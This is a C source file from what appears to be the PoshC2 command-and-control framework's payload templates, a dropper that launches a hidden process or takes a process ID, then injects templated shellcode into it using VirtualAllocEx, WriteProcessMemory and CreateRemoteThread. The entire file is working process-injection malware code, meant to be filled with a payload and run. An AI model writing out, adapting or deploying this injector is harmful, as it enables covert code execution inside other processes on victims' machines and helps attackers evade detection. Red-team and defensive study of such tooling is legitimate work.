Codebase list poshc2 / 15d18e0 resources / payload-templates / dropper_migrate.c
15d18e0

Tree @15d18e0 (Download .tar.gz)

dropper_migrate.c @15d18e0raw · history · blame

#define WINVER 0x0501

#include<windows.h>

#REPLACEME#

void pump(DWORD);

int main(int argc, char *argv[])
{
	int x = atoi(argv[1]);
	STARTUPINFO si = { sizeof(STARTUPINFO) };
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    PROCESS_INFORMATION pi= {0};

	if (x > 0)
	{
		pump(x);
	} else {
		BOOL bSuccess = FALSE;
		DWORD dwPid = 0;
		bSuccess = CreateProcess(NULL, "#REPLACEMEPROCESS#", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
		if (bSuccess)
		{
			dwPid = GetProcessId(pi.hProcess);
			pump(dwPid);
		}
	}
	return 0;
}


void pump(DWORD dwProcessID) {
	HANDLE hProc;
	HANDLE hRemoteThread;
	PVOID pRemoteBuffer;

	if(!dwProcessID) {
		exit(0);
	}
	hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID);
	if(!hProc) {
		exit(0);
	}
	pRemoteBuffer = VirtualAllocEx(hProc, NULL, sizeof(sc)*2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (!pRemoteBuffer) {
		exit(0);
	}
	if (!WriteProcessMemory(hProc, pRemoteBuffer, sc, sizeof(sc), NULL)) {
		exit(0);
	}
	CreateRemoteThread(hProc, NULL, 0, pRemoteBuffer, NULL, 0, NULL);
	CloseHandle(hProc);
}